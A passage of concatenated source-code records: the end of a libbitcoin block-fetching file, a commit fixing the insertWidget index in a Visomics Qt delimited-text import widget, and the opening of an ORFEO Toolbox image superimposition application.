tx_index)\n {\n auto this_ptr = shared_from_this();\n const message::inventory_vector& inv = tx_hashes[tx_index];\n BITCOIN_ASSERT(inv.type ==\n message::inventory_type::transaction);\n size_t tx_hashes_size = tx_hashes.size();\n chain_->fetch_transaction(inv.hash,\n [this, this_ptr, tx_index, tx_hashes_size](\n const std::error_code& ec,\n const message::transaction& tx)\n {\n if (stop_on_error(ec))\n return;\n BITCOIN_ASSERT(tx_index < block_.transactions.size());\n block_.transactions[tx_index] = tx;\n ++count_;\n BITCOIN_ASSERT(block_.transactions.size() == tx_hashes_size);\n if (count_ == tx_hashes_size)\n handle_(std::error_code(), block_);\n });\n }\n\n blockchain_ptr chain_;\n handler_block handle_;\n\n message::block block_;\n size_t count_;\n bool stopped_;\n};\n\nvoid fetch_block(blockchain_ptr chain, size_t depth,\n handler_block handle_fetch)\n{\n auto fetcher = std::make_shared<fetch_block_t>(chain);\n fetcher->start(depth, handle_fetch);\n}\nvoid fetch_block(blockchain_ptr chain, const hash_digest& block_hash,\n handler_block handle_fetch)\n{\n auto fetcher = std::make_shared<fetch_block_t>(chain);\n fetcher->start(block_hash, handle_fetch);\n}\n\n\/\/ fetch_block_locator\ntypedef blockchain_fetch_handler_block_locator handler_locator;\n\nclass fetch_locator\n : public std::enable_shared_from_this<fetch_locator>\n{\npublic:\n fetch_locator(blockchain_ptr chain)\n : chain_(chain) {}\n\n void start(handler_locator handle)\n {\n handle_ = handle;\n auto this_ptr = shared_from_this();\n chain_->fetch_last_depth(\n std::bind(&fetch_locator::populate,\n this_ptr, _1, _2));\n }\n\nprivate:\n \/\/ An intermediate type used to keep metadata about the locator\n \/\/ so we can sort the locator before returning.\n typedef std::pair<size_t, hash_digest> meta_entry;\n typedef std::vector<meta_entry> meta_locator;\n\n bool stop_on_error(const std::error_code& ec)\n {\n if (stopped_)\n return true;\n else if (ec)\n {\n stopped_ = true;\n handle_(ec, message::block_locator());\n return true;\n }\n return false;\n }\n\n void populate(const std::error_code& ec, size_t last_depth)\n {\n if (stop_on_error(ec))\n return;\n index_list indexes = block_locator_indexes(last_depth);\n auto this_ptr = shared_from_this();\n for (size_t depth: indexes)\n chain_->fetch_block_header(depth,\n std::bind(&fetch_locator::append,\n this_ptr, _1, _2, depth, indexes.size()));\n }\n\n void append(const std::error_code& ec,\n const message::block& block_header, size_t depth, size_t entries)\n {\n if (stop_on_error(ec))\n return;\n meta_.push_back(std::make_pair(depth, hash_block_header(block_header)));\n if (meta_.size() == entries)\n final();\n }\n\n void final()\n {\n std::sort(meta_.begin(), meta_.end(),\n [](const meta_entry& entry_a, const meta_entry& entry_b)\n {\n return entry_a.first > entry_b.first;\n });\n message::block_locator final_locator;\n for (const meta_entry& entry: meta_)\n final_locator.push_back(entry.second);\n handle_(std::error_code(), final_locator);\n }\n\n blockchain_ptr chain_;\n handler_locator handle_;\n bool stopped_;\n meta_locator meta_;\n};\n\nvoid fetch_block_locator(blockchain_ptr chain, handler_locator handle_fetch)\n{\n auto fetcher = std::make_shared<fetch_locator>(chain);\n fetcher->start(handle_fetch);\n}\n\n} \/\/ namespace libbitcoin\n\n<|endoftext|>"} {"text":"<commit_before>\n\/\/ Visomics includes\n#include \"voDelimitedTextImportWidget.h\"\n#include \"ui_voDelimitedTextImportWidget.h\"\n#include \"voDelimitedTextPreviewModel.h\"\n\nclass voDelimitedTextImportWidgetPrivate : public Ui_voDelimitedTextImportWidget\n{\npublic:\n voDelimitedTextImportWidgetPrivate();\n\n void initWidgetFromModel();\n\n QButtonGroup DelimiterButtonGroup;\n\n voDelimitedTextPreviewModel * DelimitedTextPreviewModel;\n};\n\n\/\/ --------------------------------------------------------------------------\n\/\/ voDelimitedTextImportWidgetPrivate methods\n\n\/\/ --------------------------------------------------------------------------\nvoDelimitedTextImportWidgetPrivate::voDelimitedTextImportWidgetPrivate()\n{\n this->DelimitedTextPreviewModel = 0;\n}\n\n\/\/ --------------------------------------------------------------------------\nvoid voDelimitedTextImportWidgetPrivate::initWidgetFromModel()\n{\n this->OtherLineEdit->setText(QString(\":\"));\n switch (this->DelimitedTextPreviewModel->fieldDelimiterCharacters().at(0).toLatin1())\n {\n case ',':\n this->CommaRadioButton->setChecked(true);\n break;\n case ';':\n this->SemicolonRadioButton->setChecked(true);\n break;\n case '\\t':\n this->TabRadioButton->setChecked(true);\n break;\n case ' ':\n this->SpaceRadioButton->setChecked(true);\n break;\n default:\n this->OtherRadioButton->setChecked(true);\n this->OtherLineEdit->setText(this->DelimitedTextPreviewModel->fieldDelimiterCharacters());\n break;\n }\n\n this->StringDelimiterCheckBox->setChecked(this->DelimitedTextPreviewModel->useStringDelimiter());\n this->StringDelimiterLineEdit->setText(QString(QChar(this->DelimitedTextPreviewModel->stringDelimiter())));\n\n this->TransposeCheckBox->setChecked(this->DelimitedTextPreviewModel->transpose());\n\n this->NumberHeaderColumnsSpinBox->setValue(this->DelimitedTextPreviewModel->numberOfRowMetaDataTypes());\n\n if(this->DelimitedTextPreviewModel->numberOfRowMetaDataTypes() > 0)\n {\n this->HeaderColumnOfInterestSpinBox->setRange(0, this->DelimitedTextPreviewModel->numberOfRowMetaDataTypes()-1);\n this->HeaderColumnOfInterestSpinBox->setValue(this->DelimitedTextPreviewModel->rowMetaDataTypeOfInterest());\n this->HeaderColumnOfInterestSpinBox->setEnabled(true);\n }\n else\n {\n this->HeaderColumnOfInterestSpinBox->setMinimum(-1);\n this->HeaderColumnOfInterestSpinBox->setValue(-1);\n this->HeaderColumnOfInterestSpinBox->setEnabled(false);\n }\n\n this->NumberHeaderRowsSpinBox->setValue(this->DelimitedTextPreviewModel->numberOfColumnMetaDataTypes());\n\n if(this->DelimitedTextPreviewModel->numberOfColumnMetaDataTypes() > 0)\n {\n this->HeaderRowOfInterestSpinBox->setRange(0, this->DelimitedTextPreviewModel->numberOfColumnMetaDataTypes()-1);\n this->HeaderRowOfInterestSpinBox->setValue(this->DelimitedTextPreviewModel->columnMetaDataTypeOfInterest());\n this->HeaderRowOfInterestSpinBox->setEnabled(true);\n }\n else\n {\n this->HeaderRowOfInterestSpinBox->setMinimum(-1);\n this->HeaderRowOfInterestSpinBox->setValue(-1);\n this->HeaderRowOfInterestSpinBox->setEnabled(false);\n }\n}\n\n\/\/ --------------------------------------------------------------------------\n\/\/ voDelimitedTextImportWidget methods\n\n\/\/ --------------------------------------------------------------------------\nvoDelimitedTextImportWidget::voDelimitedTextImportWidget(QWidget* newParent) :\n Superclass(newParent), d_ptr(new voDelimitedTextImportWidgetPrivate())\n{\n Q_D(voDelimitedTextImportWidget);\n d->setupUi(this);\n\n d->DelimiterButtonGroup.addButton(d->CommaRadioButton, ',');\n d->DelimiterButtonGroup.addButton(d->SemicolonRadioButton, ';');\n d->DelimiterButtonGroup.addButton(d->TabRadioButton, '\\t');\n d->DelimiterButtonGroup.addButton(d->SpaceRadioButton, ' ');\n d->DelimiterButtonGroup.addButton(d->OtherRadioButton, 'x');\n\n \/\/ Delimiter connections\n connect(&d->DelimiterButtonGroup, SIGNAL(buttonClicked(int)),\n this, SLOT(onDelimiterChanged(int)));\n\n \/\/ StringBeginEndCharacter connection\n connect(d->StringDelimiterCheckBox, SIGNAL(toggled(bool)),\n this, SLOT(onStringDelimiterEnabled(bool)));\n}\n\n\/\/ --------------------------------------------------------------------------\nvoDelimitedTextImportWidget::~voDelimitedTextImportWidget()\n{\n}\n\n\/\/ --------------------------------------------------------------------------\nvoid voDelimitedTextImportWidget::insertWidget(QWidget * widget, InsertWidgetLocation location)\n{\n Q_D(voDelimitedTextImportWidget);\n if (!widget)\n {\n return;\n }\n int index = -1;\n if (location == Self::DelimiterGroupBox)\n {\n index = d->MainVerticalLayout->indexOf(d->DelimiterGroupBox);\n }\n else if (location == Self::RowsAndColumnsGroupBox)\n {\n index = d->MainVerticalLayout->indexOf(d->RowsColumnsGroupBox);\n }\n Q_ASSERT(index != -1);\n d->MainVerticalLayout->insertWidget(index, widget);\n}\n\n\/\/ --------------------------------------------------------------------------\nvoDelimitedTextPreviewModel* voDelimitedTextImportWidget::delimitedTextPreviewModel()\n{\n Q_D(voDelimitedTextImportWidget);\n return d->DelimitedTextPreviewModel;\n}\n\n\/\/ --------------------------------------------------------------------------\nvoid voDelimitedTextImportWidget::setDelimitedTextPreviewModel(voDelimitedTextPreviewModel* model)\n{\n Q_D(voDelimitedTextImportWidget);\n if (d->DelimitedTextPreviewModel == model)\n {\n return;\n }\n\n \/\/ Disconnect model\n if (d->DelimitedTextPreviewModel)\n {\n \/\/ Widget -> Model connections\n disconnect(d->TransposeCheckBox, SIGNAL(toggled(bool)),\n d->DelimitedTextPreviewModel, SLOT(setTranspose(bool)));\n\n disconnect(d->NumberHeaderColumnsSpinBox, SIGNAL(valueChanged(int)),\n d->DelimitedTextPreviewModel, SLOT(setNumberOfRowMetaDataTypes(int)));\n\n disconnect(d->HeaderColumnOfInterestSpinBox, SIGNAL(valueChanged(int)),\n d->DelimitedTextPreviewModel, SLOT(setRowMetaDataTypeOfInterest(int)));\n\n disconnect(d->NumberHeaderRowsSpinBox, SIGNAL(valueChanged(int)),\n d->DelimitedTextPreviewModel, SLOT(setNumberOfColumnMetaDataTypes(int)));\n\n disconnect(d->HeaderRowOfInterestSpinBox, SIGNAL(valueChanged(int)),\n d->DelimitedTextPreviewModel, SLOT(setColumnMetaDataTypeOfInterest(int)));\n\n \/\/ Model -> Widget connections\n disconnect(d->DelimitedTextPreviewModel, SIGNAL(numberOfColumnMetaDataTypesChanged(int)),\n this, SLOT(onNumberOfColumnMetaDataTypesChanged(int)));\n disconnect(d->DelimitedTextPreviewModel, SIGNAL(columnMetaDataTypeOfInterestChanged(int)),\n this, SLOT(onColumnMetaDataTypeOfInterestChanged(int)));\n\n disconnect(d->DelimitedTextPreviewModel, SIGNAL(numberOfRowMetaDataTypesChanged(int)),\n this, SLOT(onNumberOfRowMetaDataTypesChanged(int)));\n disconnect(d->DelimitedTextPreviewModel, SIGNAL(rowMetaDataTypeOfInterestChanged(int)),\n this, SLOT(onRowMetaDataTypeOfInterestChanged(int)));\n }\n\n d->DelimitedTextPreviewModel = model;\n\n if (d->DelimitedTextPreviewModel)\n {\n d->initWidgetFromModel();\n\n \/\/ Widget -> Model connections\n connect(d->TransposeCheckBox, SIGNAL(toggled(bool)),\n d->DelimitedTextPreviewModel, SLOT(setTranspose(bool)));\n\n connect(d->NumberHeaderColumnsSpinBox, SIGNAL(valueChanged(int)),\n d->DelimitedTextPreviewModel, SLOT(setNumberOfRowMetaDataTypes(int)));\n\n connect(d->HeaderColumnOfInterestSpinBox, SIGNAL(valueChanged(int)),\n d->DelimitedTextPreviewModel, SLOT(setRowMetaDataTypeOfInterest(int)));\n\n connect(d->NumberHeaderRowsSpinBox, SIGNAL(valueChanged(int)),\n d->DelimitedTextPreviewModel, SLOT(setNumberOfColumnMetaDataTypes(int)));\n\n connect(d->HeaderRowOfInterestSpinBox, SIGNAL(valueChanged(int)),\n d->DelimitedTextPreviewModel, SLOT(setColumnMetaDataTypeOfInterest(int)));\n\n \/\/ Model -> Widget connections\n connect(d->DelimitedTextPreviewModel, SIGNAL(numberOfColumnMetaDataTypesChanged(int)),\n this, SLOT(onNumberOfColumnMetaDataTypesChanged(int)));\n connect(d->DelimitedTextPreviewModel, SIGNAL(columnMetaDataTypeOfInterestChanged(int)),\n this, SLOT(onColumnMetaDataTypeOfInterestChanged(int)));\n\n connect(d->DelimitedTextPreviewModel, SIGNAL(numberOfRowMetaDataTypesChanged(int)),\n this, SLOT(onNumberOfRowMetaDataTypesChanged(int)));\n connect(d->DelimitedTextPreviewModel, SIGNAL(rowMetaDataTypeOfInterestChanged(int)),\n this, SLOT(onRowMetaDataTypeOfInterestChanged(int)));\n }\n}\n\n\/\/ --------------------------------------------------------------------------\nvoid voDelimitedTextImportWidget::onNumberOfColumnMetaDataTypesChanged(int value)\n{\n Q_D(voDelimitedTextImportWidget);\n d->NumberHeaderRowsSpinBox->setValue(value);\n\n if(value > 0)\n {\n d->HeaderRowOfInterestSpinBox->setRange(0, value-1);\n }\n else\n {\n d->HeaderRowOfInterestSpinBox->setMinimum(-1);\n }\n d->HeaderRowOfInterestSpinBox->setEnabled(value > 0);\n}\n\n\/\/ --------------------------------------------------------------------------\nvoid voDelimitedTextImportWidget::onColumnMetaDataTypeOfInterestChanged(int value)\n{\n Q_D(voDelimitedTextImportWidget);\n d->HeaderRowOfInterestSpinBox->setValue(value);\n}\n\n\/\/ --------------------------------------------------------------------------\nvoid voDelimitedTextImportWidget::onNumberOfRowMetaDataTypesChanged(int value)\n{\n Q_D(voDelimitedTextImportWidget);\n d->NumberHeaderColumnsSpinBox->setValue(value);\n\n if(value > 0)\n {\n d->HeaderColumnOfInterestSpinBox->setRange(0, value-1);\n }\n else\n {\n d->HeaderColumnOfInterestSpinBox->setMinimum(-1);\n }\n d->HeaderColumnOfInterestSpinBox->setEnabled(value > 0);\n}\n\n\/\/ --------------------------------------------------------------------------\nvoid voDelimitedTextImportWidget::onRowMetaDataTypeOfInterestChanged(int value)\n{\n Q_D(voDelimitedTextImportWidget);\n d->HeaderColumnOfInterestSpinBox->setValue(value);\n}\n\n\/\/ --------------------------------------------------------------------------\nvoid voDelimitedTextImportWidget::onDelimiterChanged(int delimiter)\n{\n Q_D(voDelimitedTextImportWidget);\n if (delimiter == 'x')\n { \/\/ Special case triggered by OtherRadioButton\n QString text = d->OtherLineEdit->text();\n\n connect(d->OtherLineEdit, SIGNAL(textChanged(const QString&)),\n this, SLOT(onOtherDelimiterLineEditChanged(const QString&)));\n\n if (text.isEmpty())\n {\n return;\n }\n delimiter = text.at(0).toLatin1();\n }\n else\n {\n disconnect(d->OtherLineEdit, SIGNAL(textChanged(const QString&)),\n this, SLOT(onOtherDelimiterLineEditChanged(const QString&)));\n }\n d->DelimitedTextPreviewModel->setFieldDelimiter(delimiter);\n}\n\n\/\/ --------------------------------------------------------------------------\nvoid voDelimitedTextImportWidget::onOtherDelimiterLineEditChanged(const QString& text)\n{\n Q_D(voDelimitedTextImportWidget);\n if (text.isEmpty())\n {\n return;\n }\n char delimiter = d->OtherLineEdit->text().at(0).toLatin1();\n d->DelimitedTextPreviewModel->setFieldDelimiter(delimiter);\n}\n\n\/\/ --------------------------------------------------------------------------\nvoid voDelimitedTextImportWidget::onStringDelimiterEnabled(bool value)\n{\n Q_D(voDelimitedTextImportWidget);\n char character = 0;\n if (value)\n {\n QString text = d->StringDelimiterLineEdit->text();\n\n connect(d->StringDelimiterLineEdit, SIGNAL(textChanged(const QString&)),\n this, SLOT(onStringDelimiterLineEditChanged(const QString&)));\n\n if (text.isEmpty())\n {\n return;\n }\n character = text.at(0).toLatin1();\n }\n else\n {\n disconnect(d->StringDelimiterLineEdit, SIGNAL(textChanged(const QString&)),\n this, SLOT(onStringDelimiterLineEditChanged(const QString&)));\n }\n d->DelimitedTextPreviewModel->setStringDelimiter(character);\n}\n\n\/\/ --------------------------------------------------------------------------\nvoid voDelimitedTextImportWidget::onStringDelimiterLineEditChanged(const QString& text)\n{\n Q_D(voDelimitedTextImportWidget);\n if (text.isEmpty())\n {\n return;\n }\n char character = d->StringDelimiterLineEdit->text().at(0).toLatin1();\n d->DelimitedTextPreviewModel->setStringDelimiter(character);\n}\n<commit_msg>Fix voDelimitedTextImportWidget::insertWidget function<commit_after>\n\/\/ Visomics includes\n#include \"voDelimitedTextImportWidget.h\"\n#include \"ui_voDelimitedTextImportWidget.h\"\n#include \"voDelimitedTextPreviewModel.h\"\n\nclass voDelimitedTextImportWidgetPrivate : public Ui_voDelimitedTextImportWidget\n{\npublic:\n voDelimitedTextImportWidgetPrivate();\n\n void initWidgetFromModel();\n\n QButtonGroup DelimiterButtonGroup;\n\n voDelimitedTextPreviewModel * DelimitedTextPreviewModel;\n};\n\n\/\/ --------------------------------------------------------------------------\n\/\/ voDelimitedTextImportWidgetPrivate methods\n\n\/\/ --------------------------------------------------------------------------\nvoDelimitedTextImportWidgetPrivate::voDelimitedTextImportWidgetPrivate()\n{\n this->DelimitedTextPreviewModel = 0;\n}\n\n\/\/ --------------------------------------------------------------------------\nvoid voDelimitedTextImportWidgetPrivate::initWidgetFromModel()\n{\n this->OtherLineEdit->setText(QString(\":\"));\n switch (this->DelimitedTextPreviewModel->fieldDelimiterCharacters().at(0).toLatin1())\n {\n case ',':\n this->CommaRadioButton->setChecked(true);\n break;\n case ';':\n this->SemicolonRadioButton->setChecked(true);\n break;\n case '\\t':\n this->TabRadioButton->setChecked(true);\n break;\n case ' ':\n this->SpaceRadioButton->setChecked(true);\n break;\n default:\n this->OtherRadioButton->setChecked(true);\n this->OtherLineEdit->setText(this->DelimitedTextPreviewModel->fieldDelimiterCharacters());\n break;\n }\n\n this->StringDelimiterCheckBox->setChecked(this->DelimitedTextPreviewModel->useStringDelimiter());\n this->StringDelimiterLineEdit->setText(QString(QChar(this->DelimitedTextPreviewModel->stringDelimiter())));\n\n this->TransposeCheckBox->setChecked(this->DelimitedTextPreviewModel->transpose());\n\n this->NumberHeaderColumnsSpinBox->setValue(this->DelimitedTextPreviewModel->numberOfRowMetaDataTypes());\n\n if(this->DelimitedTextPreviewModel->numberOfRowMetaDataTypes() > 0)\n {\n this->HeaderColumnOfInterestSpinBox->setRange(0, this->DelimitedTextPreviewModel->numberOfRowMetaDataTypes()-1);\n this->HeaderColumnOfInterestSpinBox->setValue(this->DelimitedTextPreviewModel->rowMetaDataTypeOfInterest());\n this->HeaderColumnOfInterestSpinBox->setEnabled(true);\n }\n else\n {\n this->HeaderColumnOfInterestSpinBox->setMinimum(-1);\n this->HeaderColumnOfInterestSpinBox->setValue(-1);\n this->HeaderColumnOfInterestSpinBox->setEnabled(false);\n }\n\n this->NumberHeaderRowsSpinBox->setValue(this->DelimitedTextPreviewModel->numberOfColumnMetaDataTypes());\n\n if(this->DelimitedTextPreviewModel->numberOfColumnMetaDataTypes() > 0)\n {\n this->HeaderRowOfInterestSpinBox->setRange(0, this->DelimitedTextPreviewModel->numberOfColumnMetaDataTypes()-1);\n this->HeaderRowOfInterestSpinBox->setValue(this->DelimitedTextPreviewModel->columnMetaDataTypeOfInterest());\n this->HeaderRowOfInterestSpinBox->setEnabled(true);\n }\n else\n {\n this->HeaderRowOfInterestSpinBox->setMinimum(-1);\n this->HeaderRowOfInterestSpinBox->setValue(-1);\n this->HeaderRowOfInterestSpinBox->setEnabled(false);\n }\n}\n\n\/\/ --------------------------------------------------------------------------\n\/\/ voDelimitedTextImportWidget methods\n\n\/\/ --------------------------------------------------------------------------\nvoDelimitedTextImportWidget::voDelimitedTextImportWidget(QWidget* newParent) :\n Superclass(newParent), d_ptr(new voDelimitedTextImportWidgetPrivate())\n{\n Q_D(voDelimitedTextImportWidget);\n d->setupUi(this);\n\n d->DelimiterButtonGroup.addButton(d->CommaRadioButton, ',');\n d->DelimiterButtonGroup.addButton(d->SemicolonRadioButton, ';');\n d->DelimiterButtonGroup.addButton(d->TabRadioButton, '\\t');\n d->DelimiterButtonGroup.addButton(d->SpaceRadioButton, ' ');\n d->DelimiterButtonGroup.addButton(d->OtherRadioButton, 'x');\n\n \/\/ Delimiter connections\n connect(&d->DelimiterButtonGroup, SIGNAL(buttonClicked(int)),\n this, SLOT(onDelimiterChanged(int)));\n\n \/\/ StringBeginEndCharacter connection\n connect(d->StringDelimiterCheckBox, SIGNAL(toggled(bool)),\n this, SLOT(onStringDelimiterEnabled(bool)));\n}\n\n\/\/ --------------------------------------------------------------------------\nvoDelimitedTextImportWidget::~voDelimitedTextImportWidget()\n{\n}\n\n\/\/ --------------------------------------------------------------------------\nvoid voDelimitedTextImportWidget::insertWidget(QWidget * widget, InsertWidgetLocation location)\n{\n Q_D(voDelimitedTextImportWidget);\n if (!widget)\n {\n return;\n }\n int index = -1;\n if (location == Self::DelimiterGroupBox)\n {\n index = d->MainVerticalLayout->indexOf(d->DelimiterGroupBox);\n }\n else if (location == Self::RowsAndColumnsGroupBox)\n {\n index = d->MainVerticalLayout->indexOf(d->RowsColumnsGroupBox);\n }\n Q_ASSERT(index != -1);\n d->MainVerticalLayout->insertWidget(index + 1, widget);\n}\n\n\/\/ --------------------------------------------------------------------------\nvoDelimitedTextPreviewModel* voDelimitedTextImportWidget::delimitedTextPreviewModel()\n{\n Q_D(voDelimitedTextImportWidget);\n return d->DelimitedTextPreviewModel;\n}\n\n\/\/ --------------------------------------------------------------------------\nvoid voDelimitedTextImportWidget::setDelimitedTextPreviewModel(voDelimitedTextPreviewModel* model)\n{\n Q_D(voDelimitedTextImportWidget);\n if (d->DelimitedTextPreviewModel == model)\n {\n return;\n }\n\n \/\/ Disconnect model\n if (d->DelimitedTextPreviewModel)\n {\n \/\/ Widget -> Model connections\n disconnect(d->TransposeCheckBox, SIGNAL(toggled(bool)),\n d->DelimitedTextPreviewModel, SLOT(setTranspose(bool)));\n\n disconnect(d->NumberHeaderColumnsSpinBox, SIGNAL(valueChanged(int)),\n d->DelimitedTextPreviewModel, SLOT(setNumberOfRowMetaDataTypes(int)));\n\n disconnect(d->HeaderColumnOfInterestSpinBox, SIGNAL(valueChanged(int)),\n d->DelimitedTextPreviewModel, SLOT(setRowMetaDataTypeOfInterest(int)));\n\n disconnect(d->NumberHeaderRowsSpinBox, SIGNAL(valueChanged(int)),\n d->DelimitedTextPreviewModel, SLOT(setNumberOfColumnMetaDataTypes(int)));\n\n disconnect(d->HeaderRowOfInterestSpinBox, SIGNAL(valueChanged(int)),\n d->DelimitedTextPreviewModel, SLOT(setColumnMetaDataTypeOfInterest(int)));\n\n \/\/ Model -> Widget connections\n disconnect(d->DelimitedTextPreviewModel, SIGNAL(numberOfColumnMetaDataTypesChanged(int)),\n this, SLOT(onNumberOfColumnMetaDataTypesChanged(int)));\n disconnect(d->DelimitedTextPreviewModel, SIGNAL(columnMetaDataTypeOfInterestChanged(int)),\n this, SLOT(onColumnMetaDataTypeOfInterestChanged(int)));\n\n disconnect(d->DelimitedTextPreviewModel, SIGNAL(numberOfRowMetaDataTypesChanged(int)),\n this, SLOT(onNumberOfRowMetaDataTypesChanged(int)));\n disconnect(d->DelimitedTextPreviewModel, SIGNAL(rowMetaDataTypeOfInterestChanged(int)),\n this, SLOT(onRowMetaDataTypeOfInterestChanged(int)));\n }\n\n d->DelimitedTextPreviewModel = model;\n\n if (d->DelimitedTextPreviewModel)\n {\n d->initWidgetFromModel();\n\n \/\/ Widget -> Model connections\n connect(d->TransposeCheckBox, SIGNAL(toggled(bool)),\n d->DelimitedTextPreviewModel, SLOT(setTranspose(bool)));\n\n connect(d->NumberHeaderColumnsSpinBox, SIGNAL(valueChanged(int)),\n d->DelimitedTextPreviewModel, SLOT(setNumberOfRowMetaDataTypes(int)));\n\n connect(d->HeaderColumnOfInterestSpinBox, SIGNAL(valueChanged(int)),\n d->DelimitedTextPreviewModel, SLOT(setRowMetaDataTypeOfInterest(int)));\n\n connect(d->NumberHeaderRowsSpinBox, SIGNAL(valueChanged(int)),\n d->DelimitedTextPreviewModel, SLOT(setNumberOfColumnMetaDataTypes(int)));\n\n connect(d->HeaderRowOfInterestSpinBox, SIGNAL(valueChanged(int)),\n d->DelimitedTextPreviewModel, SLOT(setColumnMetaDataTypeOfInterest(int)));\n\n \/\/ Model -> Widget connections\n connect(d->DelimitedTextPreviewModel, SIGNAL(numberOfColumnMetaDataTypesChanged(int)),\n this, SLOT(onNumberOfColumnMetaDataTypesChanged(int)));\n connect(d->DelimitedTextPreviewModel, SIGNAL(columnMetaDataTypeOfInterestChanged(int)),\n this, SLOT(onColumnMetaDataTypeOfInterestChanged(int)));\n\n connect(d->DelimitedTextPreviewModel, SIGNAL(numberOfRowMetaDataTypesChanged(int)),\n this, SLOT(onNumberOfRowMetaDataTypesChanged(int)));\n connect(d->DelimitedTextPreviewModel, SIGNAL(rowMetaDataTypeOfInterestChanged(int)),\n this, SLOT(onRowMetaDataTypeOfInterestChanged(int)));\n }\n}\n\n\/\/ --------------------------------------------------------------------------\nvoid voDelimitedTextImportWidget::onNumberOfColumnMetaDataTypesChanged(int value)\n{\n Q_D(voDelimitedTextImportWidget);\n d->NumberHeaderRowsSpinBox->setValue(value);\n\n if(value > 0)\n {\n d->HeaderRowOfInterestSpinBox->setRange(0, value-1);\n }\n else\n {\n d->HeaderRowOfInterestSpinBox->setMinimum(-1);\n }\n d->HeaderRowOfInterestSpinBox->setEnabled(value > 0);\n}\n\n\/\/ --------------------------------------------------------------------------\nvoid voDelimitedTextImportWidget::onColumnMetaDataTypeOfInterestChanged(int value)\n{\n Q_D(voDelimitedTextImportWidget);\n d->HeaderRowOfInterestSpinBox->setValue(value);\n}\n\n\/\/ --------------------------------------------------------------------------\nvoid voDelimitedTextImportWidget::onNumberOfRowMetaDataTypesChanged(int value)\n{\n Q_D(voDelimitedTextImportWidget);\n d->NumberHeaderColumnsSpinBox->setValue(value);\n\n if(value > 0)\n {\n d->HeaderColumnOfInterestSpinBox->setRange(0, value-1);\n }\n else\n {\n d->HeaderColumnOfInterestSpinBox->setMinimum(-1);\n }\n d->HeaderColumnOfInterestSpinBox->setEnabled(value > 0);\n}\n\n\/\/ --------------------------------------------------------------------------\nvoid voDelimitedTextImportWidget::onRowMetaDataTypeOfInterestChanged(int value)\n{\n Q_D(voDelimitedTextImportWidget);\n d->HeaderColumnOfInterestSpinBox->setValue(value);\n}\n\n\/\/ --------------------------------------------------------------------------\nvoid voDelimitedTextImportWidget::onDelimiterChanged(int delimiter)\n{\n Q_D(voDelimitedTextImportWidget);\n if (delimiter == 'x')\n { \/\/ Special case triggered by OtherRadioButton\n QString text = d->OtherLineEdit->text();\n\n connect(d->OtherLineEdit, SIGNAL(textChanged(const QString&)),\n this, SLOT(onOtherDelimiterLineEditChanged(const QString&)));\n\n if (text.isEmpty())\n {\n return;\n }\n delimiter = text.at(0).toLatin1();\n }\n else\n {\n disconnect(d->OtherLineEdit, SIGNAL(textChanged(const QString&)),\n this, SLOT(onOtherDelimiterLineEditChanged(const QString&)));\n }\n d->DelimitedTextPreviewModel->setFieldDelimiter(delimiter);\n}\n\n\/\/ --------------------------------------------------------------------------\nvoid voDelimitedTextImportWidget::onOtherDelimiterLineEditChanged(const QString& text)\n{\n Q_D(voDelimitedTextImportWidget);\n if (text.isEmpty())\n {\n return;\n }\n char delimiter = d->OtherLineEdit->text().at(0).toLatin1();\n d->DelimitedTextPreviewModel->setFieldDelimiter(delimiter);\n}\n\n\/\/ --------------------------------------------------------------------------\nvoid voDelimitedTextImportWidget::onStringDelimiterEnabled(bool value)\n{\n Q_D(voDelimitedTextImportWidget);\n char character = 0;\n if (value)\n {\n QString text = d->StringDelimiterLineEdit->text();\n\n connect(d->StringDelimiterLineEdit, SIGNAL(textChanged(const QString&)),\n this, SLOT(onStringDelimiterLineEditChanged(const QString&)));\n\n if (text.isEmpty())\n {\n return;\n }\n character = text.at(0).toLatin1();\n }\n else\n {\n disconnect(d->StringDelimiterLineEdit, SIGNAL(textChanged(const QString&)),\n this, SLOT(onStringDelimiterLineEditChanged(const QString&)));\n }\n d->DelimitedTextPreviewModel->setStringDelimiter(character);\n}\n\n\/\/ --------------------------------------------------------------------------\nvoid voDelimitedTextImportWidget::onStringDelimiterLineEditChanged(const QString& text)\n{\n Q_D(voDelimitedTextImportWidget);\n if (text.isEmpty())\n {\n return;\n }\n char character = d->StringDelimiterLineEdit->text().at(0).toLatin1();\n d->DelimitedTextPreviewModel->setStringDelimiter(character);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n =========================================================================*\/\n#include \"otbWrapperApplication.h\"\n#include \"otbWrapperApplicationFactory.h\"\n\n#include \"otbGenericRSResampleImageFilter.h\"\n#include \"otbBCOInterpolateImageFunction.h\"\n\n\/\/ Elevation handler\n#include \"otbWrapperElevationParametersHandler.h\"\n\nnamespace otb\n{\n\nnamespace Wrapper\n{\n\nclass Superimpose : public Application\n{\npublic:\n \/** Standard class typedefs. *\/\n typedef Superimpose Self;\n typedef Application Superclass;\n typedef itk::SmartPointer<Self> Pointer;\n typedef itk::SmartPointer<const Self> ConstPointer;\n\n \/** Standard macro *\/\n itkNewMacro(Self);\n\n itkTypeMacro(Superimpose, Application);\n\n typedef unsigned short int PixelType;\n\n typedef otb::BCOInterpolateImageFunction<UInt16VectorImageType> InterpolatorType;\n typedef otb::GenericRSResampleImageFilter<UInt16VectorImageType,\n UInt16VectorImageType> ResamplerType;\n\nprivate:\n void DoInit()\n {\n SetName(\"Superimpose\");\n SetDescription(\"Using available image metadata, project one image onto another one\");\n\n \/\/ Documentation\n SetDocName(\"Superimpose sensor\");\n SetDocLongDescription(\"This application performs the projection of an image into the geometry of another one.\");\n SetDocLimitations(\"None\");\n SetDocAuthors(\"OTB-Team\");\n SetDocSeeAlso(\" \");\n \n AddDocTag(Tags::Geometry);\n AddDocTag(\"Superimposition\");\n\n AddParameter(ParameterType_InputImage, \"inr\", \"Reference input\");\n SetParameterDescription(\"inr\",\"The input reference image.\");\n AddParameter(ParameterType_InputImage, \"inm\", \"The image to reproject\");\n SetParameterDescription(\"inm\",\"The image to reproject into the geometry of the reference input.\");\n\n \/\/ Elevation\n ElevationParametersHandler::AddElevationParameters(this, \"elev\");\n\n AddParameter(ParameterType_Float, \"lms\", \"Spacing of the deformation field\");\n SetParameterDescription(\"lms\",\"Generate a coarser deformation field with the given spacing\");\n 